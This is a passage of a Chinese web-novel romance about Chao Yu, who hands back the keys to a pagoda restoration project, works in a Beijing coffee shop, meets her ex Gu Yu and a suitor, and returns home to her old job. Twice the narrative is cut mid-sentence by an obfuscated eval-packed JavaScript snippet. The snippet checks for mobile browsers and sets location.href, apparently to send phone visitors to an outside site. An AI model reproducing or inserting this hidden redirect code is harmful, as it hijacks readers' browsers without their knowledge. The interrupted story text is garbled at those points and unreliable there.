九叔:“我上哪知道去。” 从晁雨的方案失败后,杜昱德和明恒宇应该开始介入劝宁塔项目。关于进度如何,晁雨是一点不敢打听。直到现在,她终于忍不住了。 九叔说:“你当时走得太急,钥匙都没来得及还。这次把钥匙还回去,劝宁塔就彻底跟我们没关系了。” 一句话在晁雨心里扎了下。 九叔晃晃手掌:“钥匙拿来呀。” 晁雨也不知为什么,总想起毛秀珍躺在病床上,一双虚无的眼望向窗外,一寸寸挪、一寸寸挪,等灰蒙的眼神终于寻到劝宁塔,那眼神就定了。 “你磨蹭什么呢?”九叔见她迟迟不递过来,伸手去夺。 薄薄一片钥匙边缘太锋利,晁雨皮肤又细嫩,划出道血痕来。 九叔一愣,倒是晁雨自己轻捏了捏手掌:“没事。” 她背着帆布包转身走了。 九叔一个人在原地默默站了半晌,拖出句戏腔来:“残山梦最真,旧境丢难掉——” “走吧,都走吧。我早知道,人是留不住的咯。” - 晁雨埋头一路走、一路走。以前往返那么多次去扫塔,都是坐公交车,此时横冲直撞地一抬头,竟发现就这样走回了家。 并不觉得累。身体里太多发泄不完的精力似的,让她闲不下来、坐不下来。 她也不知还能去哪,背着帆布包没头苍蝇一样乱转。 再一抬头的时候,发现自己走到了录像厅。 晁雨神情变得愣愣的——因为她瞧见,曾经的录像厅变为了一片断壁残垣。 竟已拆迁了。 什么时候的事?她人在北京,竟然丝毫不知情。 疲惫感是陡然袭来的,大约她今天实在走太多路了,膝盖忽软得站不住似的。她往后倒退两步,坐在了路沿上。 一只拖着玻璃柜的三轮车骑过她面前。她抬头,发现是以前在录像厅前卖小吃的阿姨。 爆米花用老式的塑料袋装着,糖浆裹得一点不均匀,汽水里满是色素味道。也不知她们小时候,怎么就那么爱买。 阿姨看她一眼:“哟,好久不见。我正打算收摊。” 她丢给晁雨一包爆米花:“送你。” “别别。”晁雨忙掏出手机:“我付钱。” “没多少钱的事。”阿姨挥挥手:“我二维码都收起来了,懒得拿了。” “录像厅什么时候拆的?” “夏天时候的事啦。”阿姨道:“今天拆这里,明天拆那里。我看这老城也和新城区那边一样,要被拆得差不多咯。” “那您,”晁雨问:“还在这卖东西啊?” 阿姨笑笑:“我想着会不会有人按以前的老习惯,找到这里来买。是我想多啦,哪还有那么恋旧的人呢。我记得我年轻的时候,你们才那么一丁点大,几岁的小孩,总不买票偷偷溜进去。” “连你都这么大了。”她问晁雨:“你今年多少岁?” “二十七。” “是了。”阿姨点点头:“该变咯。今晚是我在这里卖东西的最后一晚,以后我也不来咯。” 她蹬着三轮车走了。 晁雨解开爆米花的塑料袋,掏出一颗爆米花来,放进嘴里。 真奇怪,是糖浆裹得太不均匀、还是她记忆错乱?她记得小时候这种老式爆米花甜甜的很好吃,怎么吃起来如此寡淡无味? 晁雨低头又在塑料袋里找了找,发现每一颗都是淡白,并没有记忆里裹满糖浆的那种。 她轻轻呼出一口气,仰头望着街边屋檐。 那里也能望见劝宁塔的一角。 是这样吗?一切都该改变了? 再也不会有人来录像厅一遍遍看香港和好莱坞的老电影。劝宁塔也将变成所谓“差不多”的其他模样。 就像阿姨所说,再不会有人特意在夏天寻到录像厅这边来了。 她身后的草丛里有最后的虫鸣。等虫鸣一熄,这里更会安静得怕人了。 正当晁雨这样想着时,远远的脚步声传来。 晁雨手里拈着颗爆米花抬眸。 辜屿站在那里。没穿外套,一件黑T,单手插进长裤口袋。远远的,与晁雨隔着月光,隔着灯光。 晁雨没有收回眼神。 她很难描述自己那一刻的感觉。 是,也许太久没见,辜屿的五官映在她眼底显得有些许陌生了。可他又与她一样,会在乱逛的时候踏过青石板路,走到录像厅这边来。 原来还有像她一样,留在过去的人。 原来还有像她一样,眷恋恒久的人。 73. 后来02 后来。 后来晁雨回到了北京。临走前毛秀珍拖着她的手:“常回来看我啊!” 葛洁倒是什么都没说,往她行李箱里塞了两条厚厚的毛线围巾。晁雨觉得土,可这一次她什么都没说,乖乖把围巾带走了。 许辰懿去车站接她。晁雨一上车,便来回来去在她周身打量了个遍。 晁雨弯起眼睛问:“怎么?” “没。”许辰懿握着方向盘摇摇头:“就是看看你跟辜屿弟弟见面后,有没有酱酱酿酿。” “酱酱酿酿还能看出来?” “不止能看出来!还能闻出来呢!”许辰懿很响亮地哈一声,一脚油门差点把还没系安全带的晁雨甩出去。 晁雨一边哆哆嗦嗦摸索安全带系上,一边想:真的什么都没有。 那晚她和辜屿在录像厅外远远对望一眼后,也就各自收回了视线。 还能怎么样呢? 她不知辜屿是怎么想的。于她而言,近一年的时间足够让燥热归于平静,让痴狂变为理性,让整个夏天的蝉鸣变成满是落叶的秋。 现在她只觉得,辜屿与她是太过不同的人。 既然痛彻心扉的远离。 就不要再重蹈覆辙。 现在她的生活很平静,平静到她清空脑子,可以什么都不想。 许辰懿越来越忙,在亚轩连升两级。她要请晁雨去吃食仙儿,把胸脯拍得震天响:“怎么着我说什么来着?姐们儿也能请你吃食仙儿,不是只有那谁……” 话说到这里她猛然止住。 晁雨回洵州时遇到辜屿,她故意八卦,就是想试探晁雨的态度,看看晁雨有没有走出来的可能。 这会儿突然提起,她还是怕晁雨会难过。 眼尾赶紧向晁雨一瞟,晁雨倒跟没事人似的笑笑:“说啊,干嘛不说了?你不就是想说,不只有辜屿能请我吃吗。” 许辰懿:“所以你现在是真放下了对吧?” 晁雨捻了下手指:“啊。” “那怎么着,有没有什么新恋情啊?” “哪来的什么新恋情。” “就那谁啊!”许辰懿学着晁雨的语调叫:“绎诚——” 晁雨拍她一下,她捂着胳膊笑:“他不是经常来找你吗?我在咖啡馆都碰上他好几次。” 绎诚的确偶尔来找晁雨。 两人见面并不算频繁,聊的多是些建筑设计与施工方面的事。绎诚是工程视角,与晁雨的设计师视角又不同,在劝宁塔修缮项目上,带给晁雨很多启发。 晁雨是疤痕体质,那天九叔抢钥匙划出的血痕,在她掌纹里留下一道浅淡的疤。 该就这样了。 钥匙都交出去了,她也不知自己每次跟绎诚聊完后,还抱着劝宁塔的方案琢磨半天干嘛。 许辰懿斩钉截铁地说:“绎诚一定喜欢你。” “不可能。”晁雨:“我俩的聊天内容纯洁得能上表彰大会。” “那如果真有人喜欢你呢?”许辰懿问:“你会接受么?” 晁雨的舌很轻地一顶上颚。 “试试看呀。”她说:“为什么不呢?” 秋渐渐深了,晁雨开始穿上厚毛衣。她不想让自己显得丧气,特意选了件彩虹条纹的粗针厚毛衣,看起来暖融融的冰岛风情。 她依然不敢让自己闲下来,在咖啡馆兼职。有人进店撞向门口的风铃,叮铃铛啷间,带进一阵冷空气。 晁雨照例抬头:“欢迎光——” “临”字没说出口,堵在唇边。 顶风撞进来的那人,是辜屿。 尽管蒙着黑口罩,晁雨仍一眼认出来是他。他不喜用助理也不喜用司机,大概今天在附近有训练或比赛,便走进这间咖啡馆来。 他不贪恋咖啡,事实上他不贪恋任何人或物。大约只因天冷,他想捧杯咖啡暖手。 因为他穿得实在太少。 一件黑T,一件薄得过分的黑色风衣外套,露出冷白的脖颈,淡淡青色的经脉。 晁雨恢复镇定,跟他说:“欢迎光临。” 不看他双眼,看着口罩上的压条。 他开口前也许有一秒的钝滞,也许是晁雨的错觉。他开口,声线冷薄:“一杯咖啡。” “什么咖啡?” “都行。”什么都无可无不可的模样。 晁雨本想按他口味做杯冰美。 但望了眼店外。分明十一月的天,怎么感觉北京都要下雪了。 晁雨打了条目,扫码收款。按自己的私心,给辜屿做了杯甜而高热量的焦糖玛奇朵,两杯糖浆。 不然真怕这人冻死。 递给辜屿的时候说“谢谢惠顾”,却省略了那句“欢迎再来”。 辜屿接过,瞟了眼旁边那张桌子。 那里坐着一个年轻男人,温厚长相。他点咖啡以及晁雨做咖啡时,男人时不时望过来。 一个跟晁雨穿同色围裙的女孩,匆匆从休息间走来:“不好意思我换好衣服了,迟到十分钟,下次请你喝奶茶!” 晁雨笑着准备去摘围裙:“没事。” “怎么没事。”女孩挤挤眼:“人家都等那么久了。” 晁雨笑言一句“别开玩笑”,摘下工作围裙收到一边,便准备往那桌走。看着辜屿端着咖啡正准备离开,冲辜屿轻轻一点头。 辜屿走向店外。 听见晁雨与那相貌温厚的男人打招呼:“久等了,绎诚。” 她的声音很轻很柔,让人想起洵州的那条清溪。 「绎诚」。 辜屿的脚步没顿滞,心里却咀嚼一遍她说这两个字的语气。 固然也有姓「Yi」的人,但晁雨的语气,让人意识到她不是连名带姓地称呼某个人,而是只叫了名字。 辜屿在店外多站了半分钟,掏出手机,点进与晁雨的对话框。 敲下四个字:[新男朋友?] 盯着那四个字看了眼,点按发送。 一个红色的小叹号却立刻浮了出来。 他发现,晁雨把他拉黑了。 - 咖啡馆里,晁雨望着贴了淡磨砂膜的落地玻璃外。 “小雨。”绎诚唤她一声,循着她视线往外望了眼:“怎么了吗?” 那里却空无一人。 只剩风卷着落了满地的枯叶,和被拂得轻微作响的风铃。 “没怎么啊。”晁雨扬唇摇摇头:“干嘛这么问?” “就是你的眼神……”绎诚思索一会儿:“噢对了。” 晁雨:“嗯?” 绎诚微一弯唇:“就是刚才你的眼神,让我觉得我好像看过……我想起来了,我的确看过。就是我们第一次在这里遇到的时候,那时音响里在放一首歌,什么歌来着。” 晁雨的指尖轻摩着温暖的瓷杯:“《最好的时光》。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149687|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊对。”绎诚笑了:“你记得这么清楚啊,记性真好。” 晁雨跟着笑笑:“其实,也不是那么好的。或者说,以后也不需要那么好了。” - 辜屿难得出现在世交子弟聚会的场合,丁鷇音端着杯酒就往他身边凑,嘴里叨叨咕咕的。 辜屿没听清,微一蹙眉:“什么?” “没什么。”丁鷇音弹一弹舌尖:“我就数数你一晚上能看多少次手机。” 辜屿把手机塞回口袋。 “我不是八卦啊,我就随便问问。你和雨姐……”丁鷇音一边说一边打量辜屿神色。 他就是八卦,只不过从晁雨在他视线里消失近一年后,他才敢把这问题问出口。 辜屿看上去淡淡的。 没有黯然,没有顿滞,没有承认也没有否认。 他只是多了个时不时看手机的小动作。 丁鷇音大着胆子问:“等她消息啊?” 辜屿说:“没有。” 如果说之前时不时看手机,是在等她消息。那么明知道她把自己拉黑以后,又算什么呢。 等到丁鷇音终于端着酒杯去看另两人拼酒了,辜屿才很轻地用拇指压一压食指。 像强迫症的小动作,像戒不掉的瘾。 - 晁雨很意外,在她偶尔当班的周五晚上或周日,她连续碰到辜屿。 这个周五晚上,许辰懿难得早下班,背着她的奢品包一边风风火火往店里闯,嗓音先就扬了起来:“姐们儿咱吃麻辣烫去啊?连续陪甲方奶奶吃了几顿米其林,我这胃寡的呀……” 一句话没说完就卡了壳,双眼瞪得像铜铃。 精彩。 有点过于精彩了。 店里靠窗边那桌赫然坐的就是绎诚,晁雨戴着围裙正值班,吧台点单的那位——许辰懿揉了揉自己的眼,是的她没看错,就凭她这双“帅哥扫描仪”般的眼,蒙着黑色口罩那位化成灰她也能认出来。 绝对就是辜屿。 晁雨倒是很镇定,许辰懿的人和语调一同打个弯:“那什么我突然想起我还有点事,先撤了啊。” 立马就遁了。同时在心里捶胸顿足。 她是真想留在现场看八卦啊!可她怕自己一掺合,局面更乱了不是? 其实她也没错过什么。 辜屿就是很平常的在吧台点了单,拿到咖啡以后走出店外,甚至没往窗边那桌的绎诚再看一眼。 只是这时,忽然下起雨来了。 晁雨透过被风刮得摇摇晃晃的风铃,往店外瞥了眼。 北京的深秋不常下雨。一旦落下雨来,空中湿度陡增,让人想起总是潮漉漉的南方。 晁雨趁着做咖啡的间隙,把店里的雨伞搁架挪到店外去。 辜屿还没走,朗身站在屋檐下,似在避雨。端着刚买的那杯焦糖玛奇朵,望着檐下银丝般垂坠的雨。 晁雨其实真的很想问一句:“你真不冷吗?” 还是作罢。 这不是她现在该问的问题了。 一拂摇晃的风铃准备钻回店内,很意外的,辜屿开口了。 “新男朋友?”他这样问道。 晁雨带着些惊诧回眸。辜屿还是刚才那般姿态,端着咖啡,望着檐下垂落的雨丝。 晁雨很轻地抿一抿唇。 既没有肯定、也没有否定,不置一言地钻回店里去了。 74. 后来03 晁雨回到家的时候,许辰懿正坐在茶几前嗑瓜子,面前一堆瓜子皮,双眼瞪得像铜铃。 晁雨边换鞋边问:“你今天戴美瞳了吗?” “没有啊。”许辰懿拿手背揉揉眼:“怎么?” 晁雨换了拖鞋往客厅里走:“我怕你戴了美瞳的话,一直这么瞪着眼彩片能掉出来。” “我心焦啊!”许辰懿把自己的嘴皮凑过来给晁雨看:“你看我嗑瓜子嗑的,嘴都起了个大泡!一腔想听八卦的心无处排遣。” 晁雨搬把椅子坐她对面:“还真有八卦。” 晁雨这么老实,许辰懿都惊了下。 “这是有大事啊!”她说。 晁雨答:“绎诚跟我表白了。” “我说什么来着!我说什么来着!”许辰懿一跺脚:“我就说他对你有意思吧。哪个男的对你没意思,老往你上班的地方跑啊!你说你这人,对恋爱这回事脑子里是不是缺根弦?难怪被老贱人蒙蔽了那么多年。” “其实也不是。”晁雨说。 在绎诚去咖啡馆找过她许多次以后,她开始渐渐意识到许辰懿说的——这男人会不会对她有意思。 “我是有心眼的。”晁雨又说。 许辰懿哼了声:“多大的心眼子,说出来吓吓我。” “他什么都不说,我就想着跟他多相处看看。”晁雨捏着自己指尖:“如果处着处着,就有感觉了呢。” “然后呢?” “然后他今天跟我表白的时候,我沉默了好几秒。他以为我是觉得意外,其实不是。” 只是那一瞬晁雨发现,感觉这事是不能培养的。 她想起过去很久的那个夏天,倚在爬满葡萄藤的月门边、身材削薄的那少年。 那样怦然心动的感觉,有就是有,没有就是没有。 她诚恳地跟绎诚说:“对不起啊。” 绎诚连连摆手:“不用对不起。” 晁雨告诉许辰懿:“他以为我是在为拒绝他说对不起。其实不是,我是为浪费他这么久的时间说对不起。” 许辰懿满是同情地看着她:“真可怜,碰上过那么段天雷勾地火的感情。” 又问她:“还有呢?” “还有什么?” “辜屿弟弟啊!”许辰懿一拍巴掌。 “他有什么?”晁雨:“他就是进来买了杯咖啡,就走了。” “就这样?” “就这样。” “既然我都能碰上他,他肯定不是第一次来买咖啡吧?” 晁雨点头。 “那不就结了!”许辰懿又开始瞪眼:“就咱们租这老破小,各种商务活动不可能老来咱们这边办吧?他为什么老往这边跑,难道真是为了来买杯咖啡啊?” 晁雨一咧嘴:“说不定我做手冲的手艺好。” “啊呸!你自己信么?” 晁雨不言语了。 许辰懿试探性问:“你们俩真没可能了?为着我遭遇的那件事、而他没提醒我。” “不止这样。”晁雨道:“那段时间我还发现,他家里有点情况,他一直瞒着我、从没想过主动告诉我。” “啊这……”许辰懿咂咂舌:“那你是挺失望的。” 其实晁雨的失望是两方面的。 她既是为辜屿的隐瞒而失望。 也是为自己没有坚定站在辜屿那一边而失望。 既然双方都对这段感情不够坚定、不够有信心,往后又该怎么走下去呢? 晁雨告诉许辰懿:“这一年我过得不容易。” 不知看了多少盛夏天边的云、数了多少初秋盛开的桂,告诉自己,时间是在不停往前走,离开了就别回头。 心里的某个空洞,大抵是被时间落满的灰填满的。 晁雨告诉许辰懿:“我不想再重来一次了。” - 辜屿是在周五晚上走进店去买咖啡的时候,意外发现晁雨的身影消失了。 他向值班的店员打听,对方告诉他:“晁雨辞职了。” 那时晁雨已回到了洵州。 站在古建筑保护管理局的办公室里,九叔透过瓶底厚的眼镜直瞪她:“有什么事不能周一一早说?你耽误我下班了!” “不能,就得现在说。”晁雨:“我想回来上班。” “不可能。”九叔眼一横:“你当这是什么地方?你想来就来、想走就走?没你的位置了。” 晁雨指指那个空荡荡落灰的座位:“你不是一直没招人吗?” “那也不是为了你。” 晁雨掏出手绘的方案,铺开到九叔面前。 九叔昂着头一副傲娇孔雀的样儿,眼尾却忍不住往图纸上瞟了瞟。 晁雨辞职去北京这段时间可真没闲着。 竟能把劝宁塔的修缮方案进展到这种地步。很接近了,她真的很接近于成功了。 晁雨说:“你再指导指导我,这事真能成。” “我可不指导你。” “那我就自己琢磨。” “如果又失败了呢?”九叔问:“又拍拍屁股跑到北京去?还当销售,你是当销售的那块料么?” 晁雨斜眼瞟他:“你挺关心我行踪呀——” 九叔哼一声。 “你是不是一早知道我会回来?” “我可不知道。我就问你,如果这次方案又失败了,你怎么办?” “那就重来。” “如果还是失败呢?” “那就再重来。”晁雨轻声说:“我不会再逃跑了。” “为什么?” “逃不开的,还是逃不开。” 许辰懿接到辜屿电话时挺意外的。 不过她脑子转得挺快,问辜屿:“你想问小雨去哪了?” “辜屿弟弟,我先问你。对你俩的关系,你到底是怎么想的?你要是根本没想清楚呢,你也不用问我说她去哪了,你就别去打扰人家。” 辜屿挂了电话,丁鷇音在一旁等着他同去个推不掉的聚会:“有句话我不知当讲不当讲。” “那就别讲。” “……”丁鷇音:“我得讲啊。” 他敛了桃花眼,难得露出正经神色:“原来像你这样的人,也会很喜欢、很喜欢一个人。” 辜屿瞥他一眼。 “好奇你总冻着张脸、我怎么看出来的是吧?”丁鷇音挑起一边唇角:“我就不告诉你。” 丁鷇音只是想,他再没看过辜屿那般的神情了。 某个夜晚他们在酒吧,辜屿在,晁雨也在。辜屿没有笑,但他的一双眼如澄溪,劈开了始终笼罩其上的浓浓的雾。 那时丁鷇音跟晁雨咬耳朵:“他今晚心情挺好的。” 丁鷇音问辜屿:“既然那么喜欢,为什么不去把她追回来?” 辜屿上了丁鷇音的车,系好安全带,平视着挡风玻璃外的斑马线:“因为我是个这样的人。” 丁鷇音:? 他不明白辜屿这句话是什么意思。 辜屿却在与晁雨分开的这段时间里,想了很多。 为什么当年辜屹在意大利的池塘落水,他没有呼救? 为什么当时在五星酒店遇到许辰懿,他没想过提醒一句? 他很少思虑棋盘以外的事。 但这两件事他来回来去地想,却得不出答案。 毛慕清多年来不断重复的那句话,不止入了晁雨的耳,也入了他的耳:“你是没感情的怪物。” 或许真是这样。 他冷漠、寡情、浑身罩着生人勿近的雾。 靠近谁,便是伤害谁。 或许他的确只适合棋盘,黑白分明、不谈感情的世界。 晁雨回洵州后不多时,晁二柱也回家了。 他是职场新人,各种年节的时候总要值班,只能趁着平时调休回家。 他上来先用工资堵葛洁的嘴:“妈,你知道我现在月薪是我姐的几倍吗?” 晁雨又回古建筑保护管理局上班了,又拿回她两千五的月薪了。 她瞪晁二柱一眼。 晁二柱笑嘻嘻地不理她。 葛洁好歹没再提让晁二柱回南方的事,只是看着晁二柱的脸说:“瘦了。” 晁雨:“妈,他真没瘦,我看他又变壮了。” 葛洁固执地说:“不,就是瘦了。” 絮叨着去给晁二柱做了整桌的菜。深秋的江南,少不了鲜掉牙的“水八仙”,茨菰炒肉片,水芹浇上麻油凉拌,再配一碗莼菜银鱼羹。 晁二柱吃得直舔舌头:“妈,我也觉得我瘦了,你多做点。” 但孩子回家这种事,往往是前三天是宝,第四天开始变成狗来嫌。 葛洁看不惯晁二柱每天睡到日上三竿,这天出摊前就去掀他被子。 晁二柱拼命扯住被子:“妈!我是个大小伙子了!” 葛洁瞪他:“那又怎么了?我是你亲妈!” 饭也不怎么做了。 这天周五,晁正声的腰又不大好,便和葛洁提前收摊回了家。晁雨下班时,去药店给他买了药油,回家一看,厨房里,晁二柱系着葛洁的围裙举着锅铲。 晁雨:“什么情况?” 晁二柱:“妈不是开始嫌我了吗,问我什么时候滚回北京,我说我给她露一手。” “真的假的?”晁雨面露狐疑:“你会做菜了?” 葛洁手艺太好。晁家的两个孩子被她宠着长大,都不太会做菜。 晁雨属于能把面煮成粥的。晁二柱比她强点,能把菜做熟,但“手艺”两个字是决计谈不上。 听晁雨这么问,晁二柱笑了下。 晁雨顿时想起那个晚上,许辰懿遭遇了那种事,晁二柱赶过来,一言不发地陪着她们,去厨房煮了热气腾腾地三碗面。 晁雨不欲再想,调出轻松语气问晁二柱:“做什么菜?” “番茄炒蛋。” “……”晁雨挺无语:“看你这架势,我还以为你做满汉全席。” “就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162427|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲你这语气吧,我还真就给你露一手!”晁二柱来了斗志,撸起袖子:“金汤肥牛吧!这个够难度了吧?妈正好买了牛肉片。” 晁雨摇手指:“你可别让那头牛枉死。” 这道菜其实真挺复杂,得烧热了油去烫。 晁雨倚在厨房门口,有一搭没一搭地和晁二柱聊天。 有很多个瞬间,晁雨以为他会问起许辰懿。 但他话锋一转,始终没有。 直到晁二柱开始热油。厨房里有两方灶台,一方是可以添柴火的土灶,另一方烧天然气,但火力也格外大些。 晁雨是个不会做饭的,也不知哪里出了问题,总之她眼看着晁二柱手中的锅,火苗腾地一下子就起来了。 姐弟俩都不是什么厨艺高阶选手,瞬间就傻了。 晁二柱要丢开锅已经来不及了,他手上有刚刚溅的油点子,火舌已往他手腕燎去。 晁雨呆愣在原地,晁二柱自己也是怔怔的,忽然觉察出疼似的,嗷地一嗓子丢开锅。 葛洁本在天井里陪晁正声浇花,絮叨着说晁正声一辈子的私房钱全花在了这些花花草草上,晁正声眉一挑说你别诈我,我什么时候藏了私房钱。 夫妻俩听晁二柱嗷这一嗓子,前后脚赶到厨房。 “祖宗诶!”葛洁见惯厨房里的情况,瞧着这火光冲天,倒是镇定些,指挥晁二柱:“站远点!” 又冲上去盖上锅盖,阻隔空气灭火。 转头一看晁二柱的手腕:“燎了好几个大泡,赶紧去医院!” 晁正声跑出去开车,葛洁和晁雨陪晁二柱出去,葛洁絮叨晁雨:“多危险!明知道处理不了为什么不赶紧叫人?” 晁正声扶着方向盘:“还能为什么?小雨也吓傻了呗。” 五菱宏光坐不下四人,晁正声载着晁二柱先往医院去,葛洁和晁雨后脚打车过去。 四人在医院一通忙乱,葛洁问医生:“我们家孩子都是疤痕体质,这伤会不会留疤啊?” “留就留呗。”晁二柱倒是豁达。 直至回了家,晁雨去浴室洗去一身医院沾染的消毒水味,靠在床头,才来得及回想中午的一幕。 那时她站在天井里,看着阳光把晁二柱腕子上的伤照得更触目惊心。 葛洁问为什么不叫人,晁正声说了句:“还能为什么?小雨也吓傻了呗。” 晁雨没掀被子,往床上一倒,两只手垫在脑后。 她发现无论她还是辜屿,其实都被毛慕清反复念叨的那句话,深深影响了。 那时辜屹落水,小小辜屿冷着张脸站在池塘边没有呼救,好像所有人都忽视了一种最本质的可能性—— 无论他看起来多么冷峻、成熟,他不过是一个几岁的孩子。 他吓傻了。 晁雨枕着手臂,另只手伸出来摸过手机,点进微信。 辜屿已经被她拉黑了。 这时晁二柱敲了敲门:“姐。” 晁雨从床上爬起来:“手怎么样了?” 晁二柱晃晃缠着绷带的手臂:“小伤,还成。” 他倚在老旧的木门上,偏着头看晁雨:“你跟狗哥现在还有联系吗?” 晁雨怔了下。 晁二柱抬起那只没伤的手挠了挠头:“是,我是打他了……你知道我那时候的情绪,控制不住的。” “到了现在,快一年了。我也不是想跟他说对不起什么的,只不过……”晁二柱顿了顿接着道:“我也想过很多次,人的想法有时真的只在一瞬间。可能他很i,可能他怕麻烦不想跟熟人打招呼,可能他没想过真的会出什么事。” 晁雨:“你这是在帮他说好话?” 晁二柱拎起唇角:“我帮他说什么好话。我也会想,按他的性子,要是他知道当天晚上会出事、他一定会提醒一声么?” “老实说,我不知道。”晁二柱:“我没把握。” 晁雨:“那你还来找我说这些。” “妈叫我来的。” 晁雨又是一愣。 “妈说你总是不开心。” “我有吗?”晁雨抬手摸了摸自己的脸。 她的第一反应是:她明明还会笑啊。 她会笑,会聊天打趣,会好好工作,会关心家人。 到底是哪里露了破绽呢? 晁二柱倚在门口:“就是中午你们送我去车上,走到天井里,妈问你为什么不叫人,爸说你是吓到了。” “妈说她看着你那时候的神情,让她想起了很久以前的一个瞬间。” “什么瞬间?”晁雨问。 晁二柱摇摇头:“妈没说。” 晁雨蜷着一条腿坐在窗边,却发现自己很清楚葛洁说的是哪个瞬间。 那时她从北京回到洵州,告诉葛洁说她已同辜屿分手。 她没说更多的话,甚至也没有哭,只是葛洁上楼来找她的时候,看她呆呆坐在卧室窗口,望着天井里那棵百年的老桂树说: “妈,桂花到底是都落尽了。” 75. 后来04 天气冷起来不过是一瞬间的事。 晁雨这天从晁家老宅里出门上班,一阵风起,阴黢黢往她骨头缝里钻。她学乖了,在洵州要什么时尚、要什么新潮,她紧紧裹着葛洁织的那粗针毛线围巾,从公交车下来,顶风往办公室走。 跟她待满八年的北京比起来,洵州的冬风不算大,就是湿度高。像把冰面凿个窟窿,把人浸进去泡过一遍似的,连羽绒服的填充棉之间都是湿的,越穿越冷。 晁雨纵然年轻,也觉得自己风湿都快犯了,一路走过来觉得手指都不能打弯。 在办公室摘下围巾、又掏出手机的时候,手指不灵活地一僵。 啪地一声,手机掉在地上。 晁雨:…… 九叔:…… 老头儿探头过来看晁雨赶紧捡起手机,屏幕已经裂了,她拂去灰尘,又接连戳了好几个键,一脸欲哭无泪的表情。 九叔问:“坏啦?” 自打晁雨回来上班后,说他肚量大呢,他一天天话都不跟晁雨讲一句。说他记恨晁雨以前辞职的事呢,他又泡着浓茶哼着昆曲,一副心情很好的样子。 晁雨是真快哭了。 九叔哼出百转千回的戏腔:“这外国货啊——就是不好使!” 晁雨捧着手机,这还是她在亚轩做设计师时、斥巨资买的。 现在就冲她这两千五的月薪,可别指望还能买得起了。 九叔拉开抽屉,拿出什么东西抛给晁雨:“别迷信外国货啦。” 晁雨一看,那是一台老人机。 九叔得意地怒努下巴:“你就用这个。别说摔不坏,就连你拿它砸核桃,我都保证它不坏。不信的话我给你表演个?” 晁雨拿起手机:“能上网么?” “不能。” “能玩游戏么?” “不能。”九叔:“哦对了,能玩俄罗斯方块和贪吃蛇。” 晁雨:“……” 但她还能说什么呢?作为一个月薪两千五的人,她只能感恩戴德地说:“谢谢九叔。” 九叔挥挥手,深藏功与名。 下午下班,晁雨从办公室出来的时候,抬头望一眼灰扑扑的天。 若北京的天冷成这样的话,十有八九就该下雪了。但洵州的冬是很少下雪的,湿气沉坠坠的压在云端。 晁雨怕冷,穿着件把人裹成包子的羽绒服,毛线围巾堆叠在颈间,有年头了,起了一颗颗的毛球扫着她下巴,再配一双雪地靴。 这时候的她,跟时尚是扯不上半点关系的。 坐公交车回家的时候,难得有两个年轻女孩,还是跟她同在木安街尾下车,也不知是不是来探哪户老人的亲。 她们跟在晁雨身后,低声聊着天。 有那么一瞬间,晁雨听到她们聊起“辜屿”的名字。 她骤然回头,两个年轻女孩已手挽着手、快速往老街的另一端走去。 晁雨转回头来,继续往家的方向走。在内心暗笑自己:为什么听到他的名字、她会回头呢。 两人之间现在还有什么关系么。 女孩议论起“辜屿”的名字充满神往,似把他当作高高在上的神子,让人想起他在每张海报上华丽冰冷的脸,无甚笑意,满满的距离感。 晁雨也不知自己起了球的旧毛线围巾、穿了多年而变得扁塌塌的雪地靴,还跟这个万众瞩目的偶像有什么关系。 此时,北京。 辜屿坐在丁鷇音的车上。丁鷇音拍着方向盘,一向轻盈的桃花眼里都开始露出不耐烦神色:“堵堵堵,快到圣诞节了怎么哪哪儿都这么堵。加上今儿这天,是快下雪了吧。” 他每年见辜屿最多的时候,便是年末的时候。 有些家族间的应酬,纵使辜屿想推,也不是能够推掉的。 丁鷇音话音未落,漫天的雪片当真飘落下来。 丁鷇音扭过头去,跟后排的辜屿打趣:“今年的初雪嘿,竟然是跟我一起见证的,真是委屈你了……” 话说着,音量渐渐就低了下去。 他望着后排的辜屿。辜屿上车时他还调笑过,辜屿这段时间见他可真是见烦了,死活不肯坐副驾,上车就往后排躲,不想听他蛐蛐这个蛐蛐那个。 此时暮色淡薄,像罩住车身的一片灰雾,长街上排成长龙的车队亮着红色尾灯、一眼望不到尽头,映亮藏在后排辜屿那张凌厉的脸。 他一只手架在车门扶手上,不甚在意地望着窗外,车窗上暖气朦胧地遮挡了视线,他无所谓,好似一切都没看进眼里去。 有欢快乐曲,高唱着“铃儿响叮当”为圣诞预热。辜屿的脸色带给人一种感觉,好像他独自浸在一片水里,全然没融入满世界的热闹里去。 丁鷇音想起来了,他还真见过辜屿浸在水里的样子。 那是一个世家子弟们人人绷紧了弦的聚会,他生怕辜屿会迟到,开着车跑去五星级酒店逮人。 辜屿作为一名围棋选手,需要维持上好体能。除每天早上坚持运动外,时而会去一家酒店的泳池。 入会费高得令人咋舌,所以这里格外清静。 丁鷇音到的时候,泳池里只有辜屿一人。丁鷇音站在池边,看着他潜沉于水底,心想这人可真能憋气,肺活量是有多好。 看着看着他觉得不对劲了,叫了声:“辜屿。” 池底的人没反应。 “卧槽。”丁鷇音来不及摘表脱鞋就想往池里跳:“你可别淹死了!” 正当这时,池底的人冒出水面来。 惊得丁鷇音猛退一步:“你没事啊?吓死我了。没事你在池底憋那么久干嘛?” 